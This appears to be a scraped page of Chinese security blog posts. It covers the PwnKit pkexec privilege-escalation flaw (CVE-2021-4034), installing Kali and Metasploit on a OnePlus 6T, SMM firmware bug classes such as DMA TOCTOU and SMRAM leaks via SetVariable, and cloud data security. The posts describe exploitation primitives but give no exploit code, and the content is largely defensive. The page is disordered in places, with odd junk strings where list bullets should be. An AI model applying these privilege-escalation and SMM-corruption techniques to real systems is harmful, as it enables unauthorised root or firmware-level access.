另外可以查看本視頻（https://player.vimeo.com/video/670582239），了解如何使用Qualys VMDR查看PwnKit漏洞。

PwnKit漏洞的技術細節介紹pkexec的main()函數的開頭處理命令行參數(第534-568行)，如果它的路徑不是絕對的，則在path環境變量的目錄中搜索要執行的程序(第610-640行)：

1.png

不幸的是，如果命令行參數argc的數量是0，這意味著如果我們傳遞給execve()的參數列表argv是空的，即{NULL}，那麼argv[0]就是NULL。這是參數列表的終止符。所以：

在第534行，整數n被永久地設置為1；

在第610行，從argv[1]越界讀取指針路徑；

在第639行，指針s被越界寫入argv[1]；

但是，這個越界的argv[1]到底要讀寫什麼呢？

要回答這個問題，我們必須稍微離題一下。當execve()一個新程序時，內核將我們的參數、環境字符串和指針(argv和envp)複製到新程序堆棧的末尾，例如：

2.png

顯然，因為argv和envp指針在內存中是連續的，如果argc是0，那麼越界的argv[1]實際上是envp[0]，指向我們的第一個環境變量value的指針。結果：

在第610 行，要執行的程序的路徑從argv[1]（即envp[0]）越界讀取，並指向“value”；

在第632 行，這個路徑“value”被傳遞給g_find_program_in_path()（因為“value”在第629行不是以斜杠開頭的）；

然後，g_find_program_in_path() 在我們的PATH 環境變量的目錄中搜索一個名為“value”的可執行文件；

如果找到這樣的可執行文件，則將其完整路徑返回給pkexec 的main() 函數（在第632 行）；

最後，在第639 行，這個完整路徑被越界寫入argv[1]（即envp[0]），從而覆蓋了我們的第一個環境變量。

所以，更準確地說：

如果我們的PATH環境變量是' PATH=name '，並且目錄' name '存在(在當前工作目錄中)並且包含一個名為' value '的可執行文件，那麼一個指向字符串' name/value '的指針將被寫入envp[0]。

如果我們的PATH 是“PATH=name=.”，並且目錄是“name=.”存在並包含一個名為“value”的可執行文件，然後將指向字符串“name=./value”的指針越界寫入envp[0]。

換句話說，這種越界寫入允許我們將“不安全的”環境變量(例如，LD_PRELOAD)重新引入到pkexec的環境中。在調用main()函數之前，這些“不安全的”變量通常會(通過ld.so)從SUID程序的環境中刪除。我們將在下一節中使用這個強大的原語。

不過要注意的是，polkit也支持非linux操作系統，如Solaris和*BSD，但我們尚未調查它們的可利用性。然而，我們注意到OpenBSD是不可利用的，因為如果argc為0，它的內核拒絕execve()一個程序。

如何修復PwnKit漏洞考慮到該漏洞在Linux和非Linux操作系統中的攻擊範圍，Qualys建議用戶立即更新此應用。

目前Qualys客戶可以搜索CVE-2021-4034的相關新聞，以識別該漏洞的所有QID 和設備。

現在可以開始免費的Qualys VMDR 試用，以獲得對CVE-2021-4034 的QID（檢測）的完全訪問權限，其中可以識別所有易受攻擊的設備。

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Linux的Polkit pkexecQualys QID 覆蓋範圍Qualys 將發布下表中的QID，因為它們從vulnsigs 版本VULNSIGS-2.5.387-2 和Linux 雲代理清單版本lx_manifest-2.5.387.2-1 開始可用。

3.png

使用Qualys VMDR 發現易受攻擊的Linux 服務器

識別運行Linux 內核的設備接下來會介紹當前Qualys 客戶如何在他們的環境中檢測PwnKit。

管理這一關鍵漏洞和降低風險的第一步是識別運行Linux操作系統的所有設備。 Qualys VMDR使得識別此類設備變得很容易。

Query: operatingSystem.category1:`Linux`

4.jpg

一旦主機被識別出來，就可以將它們與“動態標籤”組合在一起，比如說：“Linux 服務器”。這有助於自動對具有上述漏洞的現有主機以及在你的環境中啟動的任何新Linux 設備進行分組。標籤使得這些分組設備可以在整個Qualys雲平台上進行查詢、報告和管理。

基於RTI 的優先級使用Qualys VMDR，可以使用以下實時威脅指標(RTI) 確定PwnKit 漏洞的優先級：

Predicted_High_Risk

Privilege_Escalation

Easy_Exploit

High_Lateral_Movement

5.jpg

使用Qualys VMDR修復我們預計供應商將在短期內發布針對該漏洞的修復。當修復可用時，Qualys Patch Management可用於將這些修復部署到易受攻擊的設備中。

使用基於上述RTI 方法的相同優先級，客戶可以使用漏洞右側的“立即修復”按鈕將PwnKit 添加到修復作業中。一旦修復發布，Qualys將找到該漏洞的相關修復，並自動將這些修復添加到修復作業中。這將允許客戶將這些修復部署到易受攻擊的設備上，所有這些修復都來自Qualys雲平台。

使用威脅防護檢測受影響的設備VMDR還允許你使用威脅保護自動映射易受PwnKit漏洞攻擊的設備。

6.jpg

使用VMDR 儀表板跟踪漏洞使用VMDR 儀表板，你可以實時跟踪此漏洞、受影響的主機、狀態和整體管理。為儀表板小部件啟用趨勢分析後，你可以使用“PwnKit”儀表板跟踪環境中的這些漏洞發展趨勢。

7.jpg

利用Qualys XDR 識別漏洞利用嘗試Qualys XDR 客戶可以使用標題為“T1068 – Linux：檢測到Polkit pkexec 本地特權升級漏洞(CVE-2021-4034)”的規則名稱來檢測受影響系統上的利用後活動。啟用後，客戶還可以使用以下QQL 查詢搜索易受攻擊的系統：

eventName:”ThevaluefortheSHELLvariablewasnotfoundthe/etc/shellsfile“or“containssuspiciouscontent“客戶將能夠看到類似以下截圖的輸出:

8.jpg

常見問題哪些版本易受攻擊？從2009年開始的所有Polkit版本都很脆弱。

Qualys研究團隊是否會發布此漏洞的利用代碼？不會。但鑑於利用該漏洞非常容易，我們預計在本博客發布日期後的幾天內，公開的漏洞利用將變得可用。

是否有緩解措施？如果你的操作系統沒有可用的補丁，你可以從pkexec 中刪除SUID 位作為臨時緩解措施；例如：

#chmod0755/usr/bin/pkexec這個漏洞可以遠程利用嗎？不可以，但是如果攻擊者可以以任何非特權用戶身份登錄，則可以快速利用該漏洞來獲得root 特權。

能不能查到被攻擊的證據?是的，這種利用技術會在日誌中留下痕跡，比如“在/etc/SHELL文件中找不到SHELL變量的值”或者“環境變量的值[……]包含可疑內容”。但是，請注意，這個漏洞也可以被利用，不會在日誌中留下任何痕跡。

HireHackking

0x00 前言Android滲透平台搭建的系列文章第三篇，介紹Android設備OnePlus6T上安裝Kali的兩種方法，記錄細節。

方法一：在Android系統安裝Kali NetHunter(2022.1)

方法二：在Win11系統安裝Linux子系統kali-linux

測試設備：OnePlus 6T 10g+256g 邁凱倫

測試設備系統：Android 11+Win11

0x01 簡介本文將要介紹以下內容：

在Android系統安裝Kali NetHunter(2022.1)

在Win11系統安裝Linux子系統kali-linux

0x02 在Android系統安裝Kali NetHunter(2022.1)流程可參考之前的文章《Android渗透平台搭建——在Nexus6P安装Kali NetHunter(2022.1)》

Win11切換至Android的方法：

開機時按音量+，選擇UEFI BootMenu，再選擇Reboot to other slot

1.下載文件(1)Kali NetHunter

需要Android版本10或Android版本11

OnePlus6T Android 11的下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

OnePlus6T Android 10的下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-ten-kalifs-full.zip

(2)Magisk

下載頁面：https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip，下載地址：https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(3)TWRP

下載頁面：https://twrp.me/oneplus/oneplus6t.html

下載地址：

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP，twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

2.安裝Kali NetHunter(1)進入Recovery模式

在開機狀態下，按住電源鍵，選擇恢復模式，進入Recovery模式

在TWRP頁面，選擇Install，我的OnePlus6T為Android 11，這裡選擇nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後自動重啟

經過漫長的等待，安裝成功

安裝Magisk-v21.4.zip

在TWRP頁面，選擇Install，選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此，Kali NetHunter安裝完成

在應用列表中，能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x03 在Win11系統安裝Linux子系統kali-linuxAndroid切換至Win11的方法：

進入Recovery模式，在TWRP中，選擇Reboot - SlotB

進入Win11系統後，可選擇在微軟商店搜索kali進行安裝，具體流程如下：

1.開啟子系統LinuxPowershell：

Enable-WindowsOptionalFeature-Online-FeatureNameMicrosoft-Windows-Subsystem-Linux安裝完會提示需要重啟操作系統

2.在微軟商店搜索kali並安裝安裝後直接啟動kali會報錯0x80370102，這裡需要手動設置wsl版本為1

wsl命令可參考：https://docs.microsoft.com/en-us/windows/wsl/basic-commands

3.設置wsl版本為1命令如下：

wsl--set-default-version1查看已安裝系統的命令如下:

wsl--list--verbose返回結果能看到kali-linux

4.配置Kali默認登錄用戶設置默認登錄用戶為root的命令如下：

kaliconfig--default-userroot配置root用戶密碼，命令如下：

kali

passwdroot

toor

toor5.更新kalisudoaptupdatesudoaptupgrade-y如果無法更新，可以修改成國內的源

sudovi/etc/apt/sources.list添加：

debhttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib

deb-srchttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib6.安裝Kali GUI本地Win11可通過遠程桌面連接至Kali

首先在命令行輸入kali進入kali控制台

(1)安裝kali-desktop-xfce

sudoaptinstallkali-desktop-xfce-y(2)安裝xrdp

sudoaptinstallxrdp-y(3)修改端口為3390

sed-i's/port=3389/port=3390/g'/etc/xrdp/xrdp.ini(4)開啟服務

sudoservicexrdpstart(5)連接遠程桌面

mstsc

127.0.0.1:3390補充：常見問題

(1)修改kali分辨率

在kali中依次選擇Settings - Appearance - Settings - Window Scaling，改成2x

(2)無法打開命令行終端，提示：Failed to execute default Terminal Emulator. Input/output error.

先安裝xfce的終端：

sudoaptinstallxfce4-terminal在kali中依次選擇Settings - Settings Manager - DefaultApplications - Utilities，將設置Terminal Emulator設置為Xfce Terminal

(3)Win11重啟後重新連接kali的遠程桌面

需要先開啟服務xrdp：

sudoservicexrdprestart(4)Win11 Linux子系統重啟

netstopLxssManager

netstartLxssManager(5)安裝msfconsole

sudoaptinstallmetasploit-framework(6)啟動msfconsole

需要在Windows Defender中添加排除目錄：\\wsl.localhost\kali-linux

0x04 小結本文將介紹了在Android設備OnePlus6T上安裝Kali的兩種方法。驍龍845處理器的設備可以選擇安裝Win11再安裝Kali，其他Android設備可選擇安裝Kali NetHunter。

HireHackking

在這篇文章中，我們繼續為讀者分享與SMM漏洞相關的知識、工具和方法。

（接上文）

TOCTOU攻擊類型說明有時，即使在嵌套指針上調用SmmIsBufferOutsideSmmValid()也不足以保證SMI處理程序的安全。其原因是，SMM在設計時沒有考慮到並發性，因此，它受到一些固有的競態條件漏洞的影響，最突出的是針對通信緩衝區的TOCTOU攻擊。因為通信緩衝區本身駐留在SMRAM之外，因此，它的內容可以在SMI處理程序執行時發生改變。這一事實具有嚴重的安全影響，因為它意味著從它那裡兩次獲取的值不一定相同。

為了解決這個問題，多進程環境中的SMM採用了所謂的“SMI會合（SMI rendezvous）”技術。簡而言之，一旦某個CPU進入SMM，一個專門的軟件序言將向系統中所有其他處理器發送一個處理器間中斷（IPI）。這個IPI將使它們也進入SMM，並在那裡等待SMI的完成。只有這樣，第一個處理器才能安全地調用處理函數來實際服務SMI。

該方案在防止其他處理器在使用通信緩衝區時干擾通信緩衝區方面非常有效，但當然，CPU並不是唯一有權訪問內存總線的實體。正如任何操作系統入門課程所教導的那樣，現在許多硬件設備都能夠作為DMA代理運行，這意味著它們可以直接讀/寫內存而根本不需要通過CPU。從性能上講，這些都是好消息，但就固件的安全性而言，卻是一個可怕的壞消息。

1.jpg

DMA感知硬件可以在SMI執行時修改通信緩衝區的內容

為了了解DMA操作如何幫助成為漏洞利用的幫兇的，讓我們來看看以下摘自實際SMI處理程序中的代碼片段：

1.jpg

易受TOCTOU攻擊的SMI處理程序

可以看到，這個處理程序至少在3個不同的位置引用了一個我們命名為field_18的嵌套指針：

首先，從通信緩衝區中檢索其值，並將其保存到SMRAM中的局部變量中。

然後，對局部變量調用SmmIsBufferOutsideSmmValid函數，以確保該變量不與SMRAM重疊。

如果被認為是安全的，則從通信緩衝區中重新讀取嵌套指針，然後將其作為目標參數傳遞給CopyMem函數。

正如前面提到的，沒有什麼能保證從通信緩衝區中連續讀取的內容一定會產生相同的值。這意味著，攻擊者可以通過讓指針引用SMRAM外部的、完全安全的位置來處理該SMI：

1.jpg

處理SMI時通信緩衝區的初始佈局

但是，就在SMI驗證嵌套指針之後、再次獲取它之前，存在一個小的機會窗口，DMA攻擊可以修改其值，使其指向其他地方。由於攻擊者知道，這個指針很快就會傳遞給CopyMem()函數，因此，可以設法讓指針指向要破壞的SMRAM中的地址。

1.jpg

惡意DMA設備可以修改CommBuffer中的指針，使其指向其他地方，當然，也可以指向SMRAM內存

緩解措施如果固件配置正確的話，SMRAM應該可以防止被DMA設備所篡改。為了確保您的機器上的配置是正確的，請通過CHIPSEC運行smm_dma模塊。

1.jpg

檢查系統是否為SMRAM提供了針對DMA攻擊的保護

因此，可以通過將數據從通信緩衝區復製到位於SMRAM中的局部變量來緩解TOCTOU漏洞。

1.jpg

將數據從通信緩衝區復製到SMRAM中的局部變量中

一旦以這種方式將所需的全部數據都複製到SMRAM中，DMA攻擊就無法影響SMI處理程序的執行流了：

1.jpg

如果配置正確，SMRAM就能免受DMA設備的篡改

檢測方法為了檢測SMI處理程序中的TOCTOU漏洞，首先需要重建通信緩衝區的內部佈局，然後計算每個字段被提取的次數。如果同一個字段被同一個執行流程取用了兩次或更多，那麼相應的處理程序就有可能容易受到這種攻擊的影響。這些問題的嚴重性在很大程度上取決於各個字段的類型，其中指針字段是最嚴重的。同樣，正確地重建通信緩衝區的結構對評估潛在的風險也是有很大幫助的。

僅能感知CSEG的處理程序類型說明正如本系列文章之前提到的，SMRAM內存的事實標準位置是“頂部內存段”，通常縮寫為TSEG。然而，在許多機器上，由於兼容性的原因，通常會有一個單獨的SMRAM區域被稱為CSEG（兼容段），並且是與TSEG並存的。與TSEG不同，它在物理內存中的位置可以由BIOS以編程方式確定，而CSEG區域的位置則被固定在0xA0000-0xBFFFF的地址範圍。一些傳統的SMI處理程序在設計時只考慮了CSEG，這一事實可能會被攻擊者所濫用。下面就是這樣的處理程序的例子。

1.jpg

具有一些CSEG特定保護的SMI處理程序

與我們到目前為止審查的處理程序不同，這個SMI處理程序並不是通過通信緩衝區來獲得其參數的。相反，它使用EFI_SMM_CPU_PROTOCOL從SMM的狀態保存區讀取相應的寄存器，該狀態是由CPU在進入SMM時自動創建的。因此，在這個例子中，潛在的攻擊面並非通信緩衝區，而是CPU的通用寄存器，在處理SMI之前，其值幾乎可以隨意設置。

處理程序的操作過程如下所示：

首先，它從狀態保存區讀取ES和EBX寄存器的值。

然後，利用上面的值計算線性地址，相應的公式為：16 * ES + (EBX0xFFFF)。

最後，它檢查計算出來的地址是否位於CSEG的範圍內。如果該地址被認為是安全的，則將其作為參數傳遞給0x3020處的函數。

請注意，該處理程序基本上重新實現了常見的實用函數，如SmmIsBufferOutsideSmmValid()，只是它的實現方式很差，完全忽略了CSEG之外的SMRAM段。理論上講，攻擊者可以設置ES和BX寄存器，使計算出的線性地址指向一些其他的SMRAM區域，如TSEG，從而繞過處理程序所施加的安全檢查。

然而，在實踐中，這種漏洞很可能無法被實際利用。這是因為，我們能達到的最大線性地址為16*0xFFFF+0xFFFF==0x10FFF，而經驗表明，TSEG通常位於更高的地址。儘管如此，了解這樣的處理程序及其帶來的危害還是有好處的。

緩解措施緩解這些漏洞的措施，完全取決於SMI處理程序的開發人員。

檢測方法確定這些漏洞的一個不錯的策略是尋找SMI處理程序，這些處理程序通常會利用“魔術數字”來表示CSEG的一些獨特特徵，其中包括直接值，如0xA0000（CSEG的物理基址）、0x1FFFF（其大小）和0xBFFFF（最後一個可尋址字節）。根據我們的經驗，使用兩個或更多這些值的函數可能具有某些特定於CSEG的行為，必須仔細檢查以評估其潛在風險。

基於SetVariable()函數的信息洩露類型說明到目前為止，所有描述的漏洞類別都集中在劫持SMM執行流程和破壞SMM內存方面。然而，另一個非常重要的漏洞類別是圍繞著洩露SMRAM的內容展開的。眾所周知，SMRAM不能從SMM的外部讀取，這就是為什麼它有時被固件用來存儲必須對外界保密的秘密。除此之外，洩露SMRAM的內容還可以幫助利用其他需要準確了解內存佈局的漏洞。

當SMM代碼試圖更新NVRAM變量的內容時，就會容易發生SMRAM洩露。在UEFI中，更新NVRAM變量的操作並不是一個原子操作，而是由以下步驟組成的複合操作：

分配一個堆棧緩衝區，用來存放與該變量相關的數據。

使用GetVariable()服務，將變量的內容讀入堆棧緩衝區。

對堆棧緩衝區進行所有必要的修改。

使用SetVariable()服務將修改後的堆棧緩衝區寫回NVRAM。

1.jpg

用於更新UEFI變量的UEFI代碼

當調用GetVariable()時，注意第4個參數是作為輸入輸出參數使用的。在進入該函數時，這個參數表示調用方要讀取的字節數，而在返回時，它被設置為實際從NVRAM讀取的字節數。如果變量的實際大小與預期的一致，兩個值應該是一樣的。

當開發者隱含地假設一個變量的大小是不可改變的，問題就出現了。由於這種假設，他們完全忽略了GetVariable()讀取的字節數，而只是在寫入更新的內容時將一個硬編碼的大小傳遞給SetVariable()函數。

1.jpg

上面的代碼隱含地假設CpuSetup的大小總是0x101A，所以，它並沒有檢查GetVariable()實際讀取的字節數。

由於一些NVRAM變量（至少是那些具有EFI_VARIABLE_RUNTIME_ACCESS屬性的變量）的內容可以從操作系統中進行修改，它們可以被濫用來觸發SMM中的信息洩露漏洞，同時也可以同時作為滲出渠道。讓我們看看在實踐中是如何做到這一點的。

首先，攻擊者會使用操作系統提供的API函數，如SetFirmwareEnvironmentVariable()來截斷該變量，從而使其比預期的短。然後，它將繼續觸發易受攻擊的SMI處理程序。 SMI處理程序將：

分配基於堆棧的緩衝區。像其他基於堆棧的內存分配一樣，這個緩衝區默認是未初始化的，這意味著它保存了以前發生在SMM中的函數調用的剩餘部分。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第1階段）

調用GetVariable()服務，將變量的內容讀入堆棧緩衝區。通常情況下，變量的大小等於堆棧緩衝區的大小，但由於攻擊者剛剛截斷了NVRAM中的變量，緩衝區肯定會更長。這又意味著，即使在GetVariable()返回後，它還會繼續保存一些未初始化的字節。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第2階段）

修改內存中的堆棧緩衝區。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第3階段)

調用SetVariable()服務，將修改後的堆棧緩衝區寫回NVRAM中。因為這個調用是使用堆棧緩衝區的硬編碼、恆定大小來完成的，所以它也會將其未初始化的部分寫入NVRAM中。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第4階段）

為了完成這個過程，攻擊者現在可以使用API函數，如GetFirmwareEnvironmentVariable()來完全洩露變量的內容，包括來自未初始化部分的字節。

緩解措施這個故事的寓意是，不能盲目相信NVRAM變量，在分析處理程序的攻擊面時應考慮到這一點。如果可以的話，最好使用相應的編譯器標誌，如InitAll，以確保堆棧緩衝區將被零初始化。更有技巧的是，當更新NVRAM變量的內容時，代碼必須始終考慮到變量的實際大小，而不是依賴靜態的、預先計算的值。

然而，緩解這些問題的另一個可能方向是限制對NVRAM變量的訪問。這可以通過完全刪除EFI_VARIABLE_RUNTIME_ACCESS屬性或使用EDKII_VARIABLE_LOCK_PROTOCOL等協議來實現，使變量成為只讀的。

檢測方法我們有理由認為，NVRAM變量的更新操作會在一個函數的執行過程中發生。這意味著我們通常可以忽略一個函數讀取變量而另一個函數寫入變量的場景。要找到這些函數，可以在用efiXplorer分析完輸入文件後，導航到“services”選項卡，搜索SetVariable()後面緊跟著GetVariable()的調用對。

1.jpg

搜索由GetVariable()和SetVariable()組成的調用對

對於每一對這樣的調用，請檢查是否滿足下列條件：

兩個調用都來自同一個函數；

兩個調用都對同一個NVRAM變量進行操作；

傳遞給SetVariable()的大小參數是一個立即值。

1.jpg

檢測SMRAM信息洩漏的簡單啟發式方法

識別庫函數這篇文章大量地引用了諸如FreePool()和SmmIsBufferOutsideSmmValid()等庫函數，並天真地假設我們可以不費吹灰之力地找到它們。問題是這些函數是靜態鏈接到二進製文件中的，通常SMM映像在發送給終端用戶之前會去除所有的調試符號。因此，在IDA數據庫中定位它們是相當具有挑戰性的。

在我們的工作過程中，我們研究了多種方法來解決這個問題，包括使用Diaphora進行自動比對，以及使用一些不太知名的插件進行實驗，如rizzo和fingermatch。最終，我們決定堅持KISS原則，考慮到目標函數的一些獨特特徵，我們決定使用簡單明了的啟發式方法進行匹配。下面是一些用於匹配前面提到的函數的經驗法則。注意，我們假設二進製文件已經被efiXplorer分析過了，這可以讓事情變得更輕鬆。

FreePool函數識別FreePool()是非常簡單的。只需要掃描IDA數據庫滿足下列條件的函數即可：

接收一個整型參數；

有條件地調用gBs-FreePool()或gSmst-FreePool()中的一個(但絕不會同時調用)；

將其輸入參數轉發給這兩個服務。

1.jpg

準確定位FreePool()的簡單啟發式方法

SmmIsBufferOutsideSmmValid函數對SmmIsBufferOutsideSmmValid()函數來說，識別起來就有點棘手了。為了成功地完成這個任務，我們需要掌握一些名為EFI_SMM_ACCESS2_PROTOCOL的UEFI協議的背景信息。這個協議被用來管理和查詢平台上SMRAM的可見性。因此，它提供了相應的方法來打開、關閉和鎖定SMRAM。

1.jpg

EFI_SMM_ACCESS2_PROTOCOL的接口定義

除了這些，這個協議還導出了一個叫做GetCapabilities()的方法，客戶端可以用它來弄清SMRAM在物理內存中的確切位置。

1.jpg

GetCapabilities()函數的說明文檔

返回時，該函數會填充一個EFI_SMRAM_DESCRIPTOR結構體數組，告訴調用方SMRAM的哪些區域是可用的，它們的大小和狀態是什麼，等等。

1.jpg

使用EFI_SMM_ACCESS2_PROTOCOL查詢SMRAM範圍的示例程序的輸出

在EDK2中，通常的做法是將這些EFI_SMRAM_DESCRIPTORS存儲為全局變量，以便其他函數在未來可以輕鬆地訪問它們。正如你可能猜到的，這些函數之一不是別的，而是SmmIsBufferOutsideSmmValid()，它用以遍歷描述符列表，以確定調用方提供的緩衝區是否安全。

1.jpg

SmmIsBufferOutsideSmmValid的源代碼

考慮到這一點，我們識別SmmIsBufferOutsideSmmValid()函數的策略將是反向查找：首先，我們要找到由EFI_SMM_ACCESS2_PROTOCOL初始化的全局SMRAM描述符，然後才根據使用它們的函數，推斷哪個最可能是SmmIsBufferOutsideSmmValid()函數。

從技術上講，只要按照下面的簡單步驟就可以做到這一點：

進入efiXplorer的“protocols”選項卡標籤，雙擊EFI_SMM_ACCESS2_PROTOCOL。這樣，IDA將跳到使用這個GUID的位置（通常是對LocateProtocol的調用）。

1.jpg

在IDA中搜索EFI_SMM_ACCESS2_PROTOCOL

點擊協議的接口指針（EFISmmAccess2Protocol），點擊“x”來搜索其交叉引用。

1.jpg

列出EfiSmmAccess2Protocol的交叉引用

對於每個對GetCapabilities()的調用，檢查第3個參數（SMRAM描述符）是否是一個全局變量。如果是的話，執行下列操作：

點擊“n”，根據一些命名慣例（例如，SmramDescriptor_XXX，其中XXX是一個序號）重新命名它，以便於將來參考。

點擊“y”，將其變量類型設置為EFI_SMRAM_DESCRIPTOR *。

HireHackking

雲技術發展迅速，為幾乎所有已知的服務和產品提供了基於雲的替代方案。根據Markets and Markets的一份報告，雲計算市場預計將從2021 年的4453 億美元增長到2026 年的驚人的9473 億美元。但是，基於雲的服務的增長和多樣性讓軟件供應商和可能想要訪問您的數據的惡意行為者都興奮不已。

為了確保敏感數據的安全存儲，開發人員需要加強對本地和雲環境的保護。他們還必須證明符合GDPR、NIST 標準、PCI DSS、ISO/IEC 27001 以及其他法規、標準和法律。那麼如何確保云中的數據安全呢？是否有可能追踪並消除基於雲的軟件中的所有漏洞？

在本文中，我們將重點介紹五種關鍵的雲數據安全威脅以及保護雲中數據的法律要求，以幫助您應對這些威脅。本文對希望構建安全的基於雲的應用程序的開發團隊和領導者很有用。

誰負責保護雲中的數據？供應商和用戶共同負責雲中的數據安全。每個人都知道這一點，但每個人的理解不同。

例如，根據Snyk 的一項調查，只有10% 的安全專業人員認為開發人員負責其云原生應用程序中的數據安全。同時，超過36% 的開發者認為保護雲數據是他們的責任。

許多組織認為，一旦將數據上傳到雲服務，他們就無需擔心數據安全性和IT 要求的合規性。事實上，許多雲供應商實施了嚴格的網絡安全程序來幫助他們的客戶保護敏感數據。由他們的客戶決定是否執行這些程序、正確配置訪問權限以及證明IT 合規性。

image.png

誰負責雲數據安全？

雲供應商和應用程序開發人員的責任範圍通常在服務級別協議(SLA) 中確定。雲服務的典型SLA 定義：

马云惹不起马云 雲供應商同意提供的工作量和質量

马云惹不起马云所需的服務性能參數

马云惹不起马云供應商使用的安全功能和機制

马云惹不起马云安全事件和服務中斷的補救計劃

马云惹不起马云違反協議的處罰

雖然雲服務提供商(CSP) 和開發人員都有強大的機會來增強基於雲的解決方案中的數據保護，但每一方都必須應對雲中的眾多網絡安全挑戰。在下一節中，我們將了解您在開發基於雲的安全應用程序過程中可能面臨的主要挑戰以及避免或解決這些挑戰的方法。

基於雲的應用程序中的安全挑戰以及解決這些問題的方法雲環境的使用為雲應用程序開發團隊帶來了獨特的安全挑戰。 Cybersecurity Insiders的2021 年雲安全報告概述了五個最大的雲安全威脅：

image.png

5 大雲安全威脅

讓我們仔細研究一下這些問題以及緩解這些問題的方法，以創建安全的基於雲的軟件。

1、雲平台配置錯誤、設置錯誤Microsoft Azure 和Amazon Web Services (AWS) 等領先的雲平台為開發人員提供了大量預配置的安全功能。由開發人員定義他們的產品所需的安全級別。有時，不幸的是，這會導致對雲環境造成威脅安全的錯誤配置。

網絡安全錯誤配置被認為是最大的安全威脅之一，因為使用常規監控工具幾乎不可能檢測到它們。除了人為錯誤之外，錯誤配置的發生主要是由於雲環境的複雜性和不斷變化。

常見的錯誤配置示例如下：

马云惹不起马云 雲環境元素的無限制出站訪問

马云惹不起马云 開放對非HTTP/HTTPS 端口的訪問

马云惹不起马云 安全規則配置錯誤

大多數雲安全配置錯誤是在手動安全審查期間或安全事件的結果中發現的。幸運的是，有一些方法可以防止發生雲安全配置錯誤。特別是，您可以：

马云惹不起马云盡可能多地自動化配置管理活動

马云惹不起马云配置安全規則時使用結對編程

马云惹不起马云定期審核雲安全設置

马云惹不起马云監控異常訪問請求的網絡活動

image.png

減少雲中安全錯誤配置的4 種方法

2. 敏感數據洩露任何云服務提供商和用戶的主要關注點之一是保護他們的數據免受未經授權的訪問和盜竊。將敏感數據存儲在雲中為惡意行為者創造了更多的入口點，而保護它們則取決於兩者。

在本文中，我們將遵循Google對數據洩露的定義：

數據洩露的定義是當授權人員從其所屬的安全系統中提取數據，並將其與未經授權的第三方共享或將其轉移到不安全的系統中。授權人員包括員工、系統管理員和受信任的用戶。數據洩露可能是由於惡意或受損行為者的行為或意外發生的。

谷歌云文檔

數據洩露背後的關鍵原因是不受限制的數據共享功能、虛擬機的手動重新配置和惡意的內部活動。

以下是保護基於雲的應用程序免受數據洩露的方法：

马云惹不起马云 為最終用戶創建教育材料和網絡安全提示。這將有助於防止意外的數據洩露。

马云惹不起马云執行嚴格的數據保護政策和審計合規性。這些策略應包括共享數據訪問權限的最小特權原則以及不同類別敏感數據的不同級別共享能力。

马云惹不起马云加密傳輸中和靜止的數據。例如，通常的做法是使用SSL/TLS 加密來保護網絡流量。

3. 未經授權的訪問竊取合法用戶的帳戶或身份是進入雲環境的最便捷方式之一。確保云應用數據的高水平身份管理和精細訪問管理至關重要。

保護雲數據存儲免受非法訪問通常涉及使用以下類型的工具：

image.png

5 種限制未經授權訪問云中數據的工具

如果您的應用程序具有多租戶模式，您還需要確保數據隔離，以防止您的租戶訪問彼此的數據。

使用Microsoft Azure或AWS等大型供應商的雲服務的主要優勢在於，它們提供強大的訪問管理服務，可以幫助您確保所需的安全級別。

4. 不安全的APIAPI 允許部分雲軟件和第三方產品相互無縫交互。如果保護不力，API 可能成為黑客攻擊和數據洩露的網關。例如，攻擊者可以暴力破解API 用來與其他軟件元素通信並破壞他們的工作或竊取敏感數據的弱密碼。

以下提示將幫助您保護雲解決方案中使用的API ：

image.png

保護API 的6 種方法

5. 外部數據共享雲服務使與世界各地的供應商、員工和客戶共享數據變得非常容易。一些企業甚至開發多雲環境，使用不同廠商的雲服務，更方便地共享各類數據和資源。

未經管理和管理不善的數據共享可能會導致數據洩露和對組織敏感數據的失控。這就是為什麼您需要實施保護機制來幫助您的客戶以安全的方式共享他們的數據。

您可以通過遵循以下規則來確保安全的數據共享：

image.png

保護外部數據共享的4 種方法

通過我們上面討論的網絡安全工具和實踐，您將能夠保護基於雲的應用程序使用的敏感數據。但是，它們可能不足以符合適用的網絡安全要求。讓我們看看如何使用安全標準創建基於雲的應用程序。

確保云中的合規性在構建具有安全合規性的基於雲的軟件時，您需要關注許多IT 安全要求、行業標準、當地法律和法規。下面，我們列出了需要特別注意的幾個步驟。

image.png

確保云解決方案的網絡安全合規性的3 個步驟

1. 定義您的合規要求列表。您需要遵守的要求列表取決於您提供的服務、您的目標行業以及您的企業和客戶的地理位置。 ISO/IEC 27001是最廣泛認可的信息安全國際標準之一。雲計算安全還有四個特定標準：ISO/IEC 27002、ISO/IEC 27017、ISO/IEC 27018和ISO/IEC 27036-4。

IT 安全法規的其他常見示例是美國國家標準與技術研究院的特別出版物。《通用数据保护条例》 規定了保護歐盟居民數據的規則。根據您所在的地區和行業，您可能還需要遵守HIPAA（適用於美國醫療保健組織及其合作者）和PCI DSS（用於存儲、處理或傳輸信用卡數據的組織）。

